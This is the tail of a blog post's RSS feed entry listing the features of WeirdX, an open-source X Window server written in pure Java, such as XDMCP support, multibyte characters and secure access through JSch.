<li>WeirdX supports copy/paste operations between the native window system and x clients via CUT_BUFFER0. </li>
<li>WeirdX supports 1bpp, 8bpp and 16bpp mode. </li>
<li>WeirdX supports multibyte characters; Japanese, Korean and Chinese characters. </li>
<li>WeirdX allows you to get secure X accesses in pure Java by using <a href="http://www.jcraft.com/jsch/">JSch</a>. </li>
<li><a href="http://www.jcraft.com/jrexec/">JRexec</a> is included. </li>
<li>WeirdX supports XDMCP. </li>
<li>WeirdX supports dxpc(Differential X Protocol Compressor) with the assistance of <a href="http://www.jcraft.com/jdxpc/">JDxpc</a>. </li>
<li>WeirdX includes hacks for the alpha transparency. </li>
<li>WeirdX supports <a href="http://www.tux.org/%7Ericdude/EsounD.html">EsounD</a> compatible applications. </li>
<li>WeirdX includes the XJS Extension written by <a href="http://home.t-online.de/home/Christian.Werner/">Christian Werner</a>. </li>
<li>WeirdX is distributed under GNU GPL.</li>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image3.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb3.png" width="256" height="192" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/13/open-source-java-x-windows-server/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
